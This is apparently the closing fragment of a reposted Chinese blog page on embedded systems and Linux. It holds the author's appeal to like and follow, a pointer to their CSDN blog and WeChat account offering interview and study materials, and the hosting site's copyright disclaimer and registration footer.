  養成習慣,先贊后看!如果覺得寫的不錯,歡迎關注,點贊,轉發,謝謝!

如遇到排版錯亂的問題,可以通過以下鏈接訪問我的CSDN。

CSDN:CSDN搜索“嵌入式與Linux那些事”

歡迎歡迎關注我的公眾號:嵌入式與Linux那些事,領取秋招筆試面試大禮包(華為小米等大廠面經,嵌入式知識點總結,筆試題目,簡歷模版等)和2000G學習資料。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM